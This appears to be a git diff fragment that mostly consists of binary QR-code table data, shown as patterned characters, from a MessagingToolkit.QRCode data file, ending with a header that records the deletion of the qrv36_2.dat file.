uvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecccdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIIIIIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121/0/0/0/00/0/0///.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}}}}~}~}}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121/0/0/0/0///0/0/0.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}}~}}}}}}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIIIIIIJJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121/0/0/0/0/0/0/0/0.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcddccccccdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKIJIJIJIJJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121//////0//0/0/0/0.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}}}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcdcdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKIJIJIJIJJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434343434321212121210/0/0/0//0/0/0/0.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}}}~}~}~~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcccccdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKIJIJIJIJJIJIJIIIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434321212121212121210/0/0/0//0/0/0/0.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - - PPOONNMMaabbccdd''&&%%$$IIOOPPQQ::998877%%&&''((uuvvwwxx||{{zzyy,,++**))%%&&''((uuvvwwxx||{{zzyy,,++**))%%&&''((uuvvwwxx||{{zzyy,,++**))%%&&''((uuvvwwxx||{{zzyy,,++**))%%&&''((uuvvwwxx||{{zzyy,,++**))..//5566FFEEDDCC !uuvvwwxxwwvvuutt''&&%%$$**++,,--zz{{||}}wwvvuutt''&&%%$$**++,,--zz{{||}}wwvvuutt''&&%%$$**++,,--zz{{||}}wwvvuutt''&&%%$$**++,,--zz{{||}}wwvvuutt''&&%%$$**++,,--zz{{||}}mmllkkjj __``aabb~}}||{{'&&%%$$#//001122rrqqppoo""!! //001122rrqqppoo""!! //001122rrqqppoo""!! //001122rrqqppoo""!! //001122rrqqppoo""!! ==>>??@@<<;;::99'(())**+mmllkkjj44556677mmllkkjj44556677mmllkkjj44556677mmllkkjj44556677mmllkkjj44556677^^]]\\[[ - - nnooppqqttssrrqq99::;;<>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaaHHGGFFEEiijjkkll}}||{{VVWWXXYY0//..--,--..//00}}~~ttssrrqq$$##""!!--..//00}}~~ttssrrqq$$##""!!--..//00}}~~ttssrrqq$$##""!!--..//00}}~~ttssrrqq$$##""!!--..//00}}~~ttssrrqq$$##""!!;;<<==>>>>==<<;;%&&''(()}}~oonnmmll22334455oonnmmll22334455oonnmmll22334455oonnmmll22334455oonnmmll22334455``__^^]] - - llmmnnoovvuuttss778899::jjiihhgg778899::jjiihhgg778899::jjiihhgg778899::jjiihhgg778899::jjiihhggEEFFGGHH//..--,,/0123455eeddccbb<<==>>??eeddccbb<<==>>??eeddccbb<<==>>??eeddccbb<<==>>??eeddccbb<<==>>??VVUUTTSSvvwwxxyyllkkjjiiAABBCCDD``__^^]] AABBCCDD``__^^]] AABBCCDD``__^^]] DDCCBBAA mmnnooppzzyyxxwwZZ[[\\]],++**))(11223344ppoonnmm 11223344ppoonnmm 11223344ppoonnmm 11223344ppoonnmm 11223344ppoonnmm ??@@AABB::998877)**++,,-kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899\\[[ZZYY ppqqrrssrrqqppoo;;<<==>>ffeeddcc;;<<==>>ffeeddcc;;<<==>>ffeeddcc;;<<==>>ffeeddcc;;<<==>>ffeeddccIIOOPPQQ++**))((66778899aa``__^^@@AABBCCaa``__^^@@AABBCCaa``__^^@@AABBCCaa``__^^@@AABBCCaa``__^^@@AABBCCRRQQPPOOzz{{||}}hgfedccb EEFFGGHH\\[[ZZYY - - EEFFGGHH\\[[ZZYY - - EEFFGGHH\\[[ZZYY - - @@??>>==!!""##$$qqrrssttvvuuttss^^__``aa~}}||(''&&%%$55667788llkkjjii55667788llkkjjii55667788llkkjjii55667788llkkjjii55667788llkkjjiiCCDDEEFF6655//..-..//012ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==XXWWVVUUttuuvvwwnnmmllkk??@@AABBbbaa``__??@@AABBbbaa``__??@@AABBbbaa``__??@@AABBbbaa``__??@@AABBbbaa``__RRSSTTUU''&&%%$$::;;<<==]]\\[[ZZ - -DDEEFFGG]]\\[[ZZ - -DDEEFFGG]]\\[[ZZ - -DDEEFFGG]]\\[[ZZ - -DDEEFFGG]]\\[[ZZ - -DDEEFFGGIIHHGGFF !!""baa``__^ - - IIJJKKLLXXWWVVUUIIJJKKLLXXWWVVUUIIJJKKLLXXWWVVUU<<;;::99%%&&''((uuvvwwxxrrqqppoo bbcciijj{{zzyyxx$##""!! 99::;;<>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AATTSSRRQQxxyyzz{{jjiihgfe CCDDEEFF^^]]\\[[ CCDDEEFF^^]]\\[[ CCDDEEFF^^]]\\[[ CCDDEEFF^^]]\\[[ CCDDEEFF^^]]\\[[ VVWWXXYY##""!! >>??@@AAYYXXWWVV HHIIJJKKYYXXWWVV HHIIJJKKYYXXWWVV HHIIJJKKYYXXWWVV HHIIJJKKYYXXWWVV HHIIJJKKEEDDCCBB##$$%%&&^]]\\[[ZMMNNOOPPTTSSRRQQMMNNOOPPTTSSRRQQMMNNOOPPTTSSRRQQ88776655))**++,,yyzz{{||nnmmllkk - - - -kkllmmnnwwvvuutt ==>>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaaPPQQRRSS))((''&&8899::;;__^^]]\\ BBCCDDEE__^^]]\\ BBCCDDEE__^^]]\\ BBCCDDEE__^^]]\\ BBCCDDEE__^^]]\\ BBCCDDEEPPOOIIHH ||}}dccbbaa` - - GGHHIIJJZZYYXXWW - - GGHHIIJJZZYYXXWW - - GGHHIIJJZZYYXXWW - - GGHHIIJJZZYYXXWW - - GGHHIIJJZZYYXXWW - - ZZ[[\\]]}}||{{BBCCDDEEUUTTSSRRLLMMNNOOUUTTSSRRLLMMNNOOUUTTSSRRLLMMNNOOUUTTSSRRLLMMNNOOUUTTSSRRLLMMNNOOAA@@??>>''(())**ZYYXXWWVQQRRSSTTPPOONNMMQQRRSSTTPPOONNMMQQRRSSTTPPOONNMM99::;;<<44332211--..//00}}~~jjiiccbb ooppqqrrssrrqqppAABBCCDD``__^^]] AABBCCDD``__^^]] AABBCCDD``__^^]] AABBCCDD``__^^]] AABBCCDD``__^^]] TTUUVVWW%%$$##""<<==>>??[[ZZYYXX - - FFGGHHII[[ZZYYXX - - FFGGHHII[[ZZYYXX - - FFGGHHII[[ZZYYXX - - F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>==<<))**++,,XWWVVUUTSSTTUUVVNNMMLLKKSSTTUUVVNNMMLLKKSSTTUUVVNNMMLLKKSSTTUUVVNNMMLLKKSSTTUUVVNNMMLLKK - -kkllmmnnrrqqppoo PQQRRSSTIIHHGGFF - - XXYYZZ[[IIHHGGFF - - XXYYZZ[[IIHHGGFF - - XXYYZZ[[IIHHGGFF - - XXYYZZ[[IIHHGGFF - - XXYYZZ[[55//..--8899::;;MLKJIIHH ]]^^__``DDCCBBAA ]]^^__``DDCCBBAA ]]^^__``DDCCBBAA EEFFGGHHxxwwvvuu((''&&%%99::;;<>??GGFFEEDDaabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==IIJJKKLLttssrrqq$$##""!!==>>??@@UUTTSSRR !!""##a``__^^] QQRRSSTTPPOONNMMQQRRSSTTPPOONNMMQQRRSSTTPPOONNMMQQRRSSTTPPOONNMMQQRRSSTTPPOONNMMiijjkkllttssrrqq NOOPPQQRKKJJIIHH VVWWXXYYKKJJIIHH VVWWXXYYKKJJIIHH VVWWXXYYKKJJIIHH VVWWXXYYKKJJIIHH VVWWXXYY776655//66778899POONMLKJ [[\\]]^^FFEEDDCC [[\\]]^^FFEEDDCC [[\\]]^^FFEEDDCC [[\\]]^^FFEEDDCC [[\\]]^^FFEEDDCCssttuuvvjjiiccbbXYYZZ[[\AA@@??>>``aabbccAA@@??>>``aabbccAA@@??>>``aabbccAA@@??>>``aabbccAA@@??>>``aabbcc((''&&%%@@AABBCCCCBBAA@@eeffgghh<<;;::99eeffgghh<<;;::99eeffgghh<<;;::99MMNNOOPPppoonnmm AABBCCDDQQPPOOII$$%%&&'']\\[[ZZYUUVVWWXXLLKKJJIIUUVVWWXXLLKKJJIIUUVVWWXXLLKKJJIIUUVVWWXXLLKKJJIIUUVVWWXXLLKKJJII - - mmnnooppppoonnmm - - RSSTTUUVGGFFEEDD - - ZZ[[\\]]GGFFEEDD - - ZZ[[\\]]GGFFEEDD - - ZZ[[\\]]GGFFEEDD - - ZZ[[\\]]GGFFEEDD - - ZZ[[\\]]..--,,++::;;<<==IIHHGGFF__``aabbBBAA@@??__``aabbBBAA@@??__``aabbBBAA@@??__``aabbBBAA@@??__``aabbBBAA@@??wwxxyyzzaa``__^^\]]^^__`==<<;;::ddeeffgg==<<;;::ddeeffgg==<<;;::ddeeffgg==<<;;::ddeeffgg==<<;;::ddeeffgg$$##""!!DDEEFFGG??>>==<<iijjkkll88776655iijjkkll88776655iijjkkll88776655QQRRSSTTllkkjjiiEEFFGGHHHHGGFFEE(())**++YXXWWVVU - - YYZZ[[\\HHGGFFEE - - YYZZ[[\\HHGGFFEE - - YYZZ[[\\HHGGFFEE - - YYZZ[[\\HHGGFFEE - - YYZZ[[\\HHGGFFEE qqrrssttllkkjjiiVWWXXYYZCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aa**))((''>>??@@AAEEDDCCBBccddeeff>>==<<;;ccddeeff>>==<<;;ccddeeff>>==<<;;ccddeeff>>==<<;;ccddeeff>>==<<;;{{||}}]]\\[[ZZ - - `aabbccd99887766hhiijjkk99887766hhiijjkk99887766hhiijjkk99887766hhiijjkk99887766hhiijjkk}}|| HHIIOOPP;;::9988 mmnnoopp44332211 mmnnoopp44332211 mmnnoopp44332211 UUVVWWXXhhggffeeIIJJKKLLDDCCBBAA,,--..//UTTSSRRQ ]]^^__``DDCCBBAA ]]^^__``DDCCBBAA ]]^^__``DDCCBBAA ]]^^__``DDCCBBAA ]]^^__``DDCCBBAAuuvvwwxxccbbaa``Z[[\\]]^??>>==<<bbccddee??>>==<<bbccddee??>>==<<bbccddee??>>==<<bbccddee??>>==<<bbccddee&&%%$$##BBCCDDEEAA@@??>>gghhiijj::998877gghhiijj::998877gghhiijj::998877gghhiijj::998877gghhiijj::998877 !!""##YYXXWWVV efghiijj55443322llmmnnoo55443322llmmnnoo55443322llmmnnoo55443322llmmnnoo55443322llmmnnoo{{zzyyxxQQRRSSTT77665543!!""##$$qqrrsstt~~}}00//..--!!""##$$qqrrsstt~~}}00//..--!!""##$$qqrrsstt~~}}00//..--!!""##$$YYZZ[[\\ddccbbaaMMNNOOPP@@??>>==55667788QPPOONMLaabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==yyzz{{||__^^]]\\ - -^__``aab;;::9988ffgghhii;;::9988ffgghhii;;::9988ffgghhii;;::9988ffgghhii;;::9988ffgghhii""!! FFGGHHII==<<;;::kkllmmnn66554433kkllmmnn66554433kkllmmnn66554433kkllmmnn66554433kkllmmnn66554433$$%%&&''UUTTSSRRkkllmmnn~~1100//.. !!""##ppqqrrss~~1100//.. !!""##ppqqrrss~~1100//.. !!""##ppqqrrss~~1100//.. !!""##ppqqrrss~~1100//.. !!""##ppqqrrsswwvvuuttUUVVWWXX210//..-%%&&''((uuvvwwxx||{{zzyy,,++**))%%&&''((uuvvwwxx||{{zzyy,,++**))%%&&''((uuvvwwxx||{{zzyy,,++**))%%&&''((]]^^__````__^^]] QQRRSSTT<<;;::9999::;;<>??@@FFEEDDCCiijjkkll88776655iijjkkll88776655iijjkkll88776655iijjkkll88776655iijjkkll88776655""##$$%%WWVVUUTTiijjkkll33221100 !!nnooppqq33221100 !!nnooppqq33221100 !!nnooppqq33221100 !!nnooppqq33221100 !!nnooppqqyyxxwwvvSSTTUUVV5543210/##$$%%&&ssttuuvv~~}}||{{..--,,++##$$%%&&ssttuuvv~~}}||{{..--,,++##$$%%&&ssttuuvv~~}}||{{..--,,++##$$%%&&ssttuuvv~~}}||{{..--,,++##$$%%&&ssttuuvv~~}}||{{..--,,++,,--..//HHGGFFEEssttuuvvyyxxwwvv))((''&&(())**++xxyyzz{{yyxxwwvv))((''&&(())**++xxyyzz{{yyxxwwvv))((''&&(())**++xxyyzz{{yyxxwwvv))((''&&(())**++xxyyzz{{yyxxwwvv))((''&&(())**++xxyyzz{{oonnmmll - - ]]^^__``~}})((''&&%--..//00}}~~ttssrrqq$$##""!!--..//00}}~~ttssrrqq$$##""!!--..//00}}~~ttssrrqq$$##""!!--..//00eeffgghhXXWWVVUU - - YYZZ[[\\//..--,,AABBCCDDBBAA@@?? mmnnoopp44332211 mmnnoopp44332211 mmnnoopp44332211 mmnnoopp44332211 mmnnoopp44332211&&''(())SSRRQQPPmmnnoopp~~}}||//..--,,""##$$%%rrssttuu~~}}||//..--,,""##$$%%rrssttuu~~}}||//..--,,""##$$%%rrssttuu~~}}||//..--,,""##$$%%rrssttuu~~}}||//..--,,""##$$%%rrssttuuuuttssrrWWXXYYZZ/..--,,+''(())**wwxxyyzzzzyyxxww**))((''''(())**wwxxyyzzzzyyxxww**))((''''(())**wwxxyyzzzzyyxxww**))((''''(())**wwxxyyzzzzyyxxww**))((''''(())**wwxxyyzzzzyyxxww**))((''55667788DDCCBBAA !!""#wwxxyyzzuuttssrr%%$$##"",,--..//||}}~~uuttssrr%%$$##"",,--..//||}}~~uuttssrr%%$$##"",,--..//||}}~~uuttssrr%%$$##"",,--..//||}}~~uuttssrr%%$$##"",,--..//||}}~~kkjjiiccaabbccii||{{zzyy%$$##""!11223344ppoonnmm 11223344ppoonnmm 11223344ppoonnmm 11223344iijjkkllTTSSRRQQ ]]^^__``++**))((EEFFGGHH>>==<<;;!!""##$$qqrrsstt~~}}00//..--!!""##$$qqrrsstt~~}}00//..--!!""##$$qqrrsstt~~}}00//..--!!""##$$qqrrsstt~~}}00//..--!!""##$$qqrrsstt~~}}00//..--**++,,--OOIIHHGGqqrrsstt{{zzyyxx++**))((&&''(())vvwwxxyy{{zzyyxx++**))((&&''(())vvwwxxyy{{zzyyxx++**))((&&''(())vvwwxxyy{{zzyyxx++**))((&&''(())vvwwxxyy{{zzyyxx++**))((&&''(())vvwwxxyyqqppoonn - -[[\\]]^^+**))(('++,,--..{{||}}~~vvuuttss&&%%$$##++,,--..{{||}}~~vvuuttss&&%%$$##++,,--..{{||}}~~vvuuttss&&%%$$##++,,--..{{||}}~~vvuuttss&&%%$$##++,,--..{{||}}~~vvuuttss&&%%$$##99::;;<<@@??>>==#$$%%&&'{{||}}~qqppoonn!! 00112233qqppoonn!! 00112233qqppoonn!! 00112233qqppoonn!! 00112233qqppoonn!! 00112233bbaa``__ jjkkllmmxxwwvvuu! 55667788llkkjjii55667788llkkjjii55667788llkkjjii55667788mmnnooppqqrrsstt~~}}00//..--!!""##$$qqrrsstt~~}}00//..--**++,,--OOIIHHGGqqrrsstt{{zzyyxx++**))((&&''(())vvwwxxyy{{zzyyxx++**))((&&''(())vvwwxxyy{{zzyyxx++**))((&&''(())vvwwxxyynnmmllkk - - - -kkllmmnnkkjjiihhFFGGHHIIuuvvwwxx||{{zzyy,,++**))%%&&''((uuvvwwxx||{{zzyy,,++**))..//5566FFEEDDCC !uuvvwwxxwwvvuutt''&&%%$$**++,,--zz{{||}}wwvvuutt''&&%%$$**++,,--zz{{||}}wwvvuutt''&&%%$$**++,,--zz{{||}}jjiiccbb ooppqqrrggffeeddJJKKLLMMyyzz{{||xxwwvvuu((''&&%%))**++,,yyzz{{||xxwwvvuu((''&&%%778899::BBAA@@??!""##$$%yyzz{{||ssrrqqpp##""!! ..//0011~~ssrrqqpp##""!! ..//0011~~ssrrqqpp##""!! ..//0011~~aa``__^^ssttuuvvccbbaa``NNOOPPQQ}}~~ttssrrqq$$##""!!--..//00}}~~ttssrrqq$$##""!!;;<<==>>>>==<<;;%&&''(()}}~oonnmmll22334455oonnmmll22334455oonnmmll22334455]]\\[[ZZwwxxyyzz__^^]]\\ RRSSTTUUppoonnmm 11223344ppoonnmm ??@@AABB::998877)**++,,-kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899YYXXWWVV{{||}}[[ZZYYXX - - VVWWXXYYllkkjjii55667788llkkjjiiCCDDEEFF6655//..-..//012ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==UUTTSSRR !!""##WWVVUUTT - - ZZ[[\\]]hhggffee99::;;<>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AAQQPPOOII$$%%&&''SSRRQQPP^^__``aaddccbbaa==>>??@@ddccbbaaPPQQRRSS))((''&&8899::;;__^^]]\\ BBCCDDEE__^^]]\\ BBCCDDEE__^^]]\\ BBCCDDEEHHGGFFEE(())**++OONNMMLLbbccddee``__^^]] AABBCCDD``__^^]] TTUUVVWW%%$$##""<<==>>??[[ZZYYXX - - FFGGHHII[[ZZYYXX - - FFGGHHII[[ZZYYXX - - FFGGHHIIDDCCBBAA,,--..//KKJJIIHHffgghhii\\[[ZZYY - - EEFFGGHH\\[[ZZYY - - XXYYZZ[[}}!! @@AABBCCWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMM@@??>>==55667788GGFFEEDDjjkkllmmXXWWVVUUIIJJKKLLXXWWVVUU\\]]^^__||{{zzyyDDEEFFGGSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQ<<;;::9999::;;<>??@@??>>==<<""##$$%%rrssttuuPPOONNMMQQRRSSTTPPOONNMMiijjkkllttssrrqq NOOPPQQRKKJJIIHH VVWWXXYYKKJJIIHH VVWWXXYYKKJJIIHH VVWWXXYY//..--,,AABBCCDD;;::9988&&''(())vvwwxxyyLLKKJJIIUUVVWWXXLLKKJJII - - mmnnooppppoonnmm - - RSSTTUUVGGFFEEDD - - ZZ[[\\]]GGFFEEDD - - ZZ[[\\]]GGFFEEDD - - ZZ[[\\]]++**))((EEFFGGHH77665544**++,,--zz{{||}}HHGGFFEE - - YYZZ[[\\HHGGFFEE qqrrssttllkkjjiiVWWXXYYZCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aa''&&%%$$IIOOPPQQ33221100..//0011~~DDCCBBAA ]]^^__``DDCCBBAAuuvvwwxxccbbaa``Z[[\\]]^??>>==<<bbccddee??>>==<<bbccddee??>>==<<bbccddee##""!! RRSSTTUU~~}}||//..--,,22334455@@??>>==aabbccdd@@??>>==yyzz{{||__^^]]\\ - -^__``aab;;::9988ffgghhii;;::9988ffgghhii;;::9988ffgghhii}}||{{VVWWXXYY{{zzyyxx++**))((66778899<<;;::99eeffgghh<<;;::99 !!}}[[ZZYYXX bccdefgh77665544jjkkllmm77665544jjkkllmm77665544jjkkllmmzzyyxxwwZZ[[\\]]wwvvuutt''&&%%$$::;;<<==88776655iijjkkll88776655""##$$%%WWVVUUTTiijjkkll33221100 !!nnooppqq33221100 !!nnooppqq33221100 !!nnooppqqvvuuttss^^__``aassrrqqpp##""!! >>??@@AA44332211 mmnnoopp44332211&&''(())SSRRQQPPmmnnoopp~~}}||//..--,,""##$$%%rrssttuu~~}}||//..--,,""##$$%%rrssttuu~~}}||//..--,,""##$$%%rrssttuurrqqppoo bbcciijjoonnmmllBBCCDDEEfpvf~HbHAZXQJ`ےdrtAJltbf`JXQr˂pZHAtlJ|ZdQbfpvf~HXQJ`ےp˂rJltdrtAvpf`vXnے`JXQZHAbtlJ|ZdQbfpvf~HXQJ`ےp˂rJltdrtAvXH~vpfH˂pZHAArd||ZdQbXv`fpvnbHAZpJ`ےdQZ|ltb~f`vpfH˂pZ`JXQrrd|lJtAXv`fpvnbHAZpJ`ےdQZ|ltb~f`vpfHXQr˂p`JXQdQbt璕~HfpvnXrXQJHAZp˂rtAJlZ|dXnvf`vbے`˂pZHAdQbtd|Z~Hfpv`frXQJHAZp˂rtAJlZ|dXnvf`vbے`˂pZHAtlJfpvnXv`ےbHZrXtbdQZtAJlfH~nvpXQr˂ے`JJtArdbtlnXvHfpvےbHArXQJ`tbdQZtAJlfH~nvpXQr˂ے`JJtArdbtlv`f˂rXQJ`ےdrtAAJlb`vXnH~fZHAbr˂p|ZdQbtArdf~HnXv`p˂rbHAZdrtAbdQZ|nXv`fpvp˂rbHAZltbdQZ|vXnpZHAbJQtArdtlJnXv`fpvbHAZXQJ`ےbdQZ|JltH~fvpfr˂pے`JXQtArdtlJnXv`fpvbHAZXQJ`ےbdQZ|Jltf`v~vbے`ZdQbttlJ~HfXv`f˂rXQbHAZpdrtA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pdrtAJdQZ|vXn~f`ے`HAbےۑpJAH`vXnH~ㅐfbAdZ|JltZHAbr˂p|ZdQbtArdf~HnXv`bHAZprXQdrtAJXnvvpf~f`JXQrHAbےlJtAZdQbtpvn~HfJ`ے˂rXQltbdrtAJvpfHvXnJXQr`pZHAr󙐂ˁ`vˍpf`vXndrQtbAdZ|ے`JXQZHAbtlJ|ZdQbfpvf~H˂rXQJ`ےltbpfH~`vXn˂pZ`JXQrrd|lJtAXv`fpvnbHAZpJ`ےdQZ|ltb~f`vpfH˂pZHAbے`ZQXb㉀H~ㅐfەvˍpfJltdrQtr˂pے`JXQtArdtlJnXv`fpvJ`ےbHAZpdQZ|f`vvpfHAbے˂pZZdQbtrd|~HfXv`f˂rXQbHAZpdrtAJdQZ|vXn~f`bے`JXQrۑp`Z`vXnH~ㅐfbAdZ|Jlt \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv36_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv36_2.dat deleted file mode 100644 index 0687c2b..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv36_2.dat +++ /dev/null @@ -1,321 +0,0 @@ 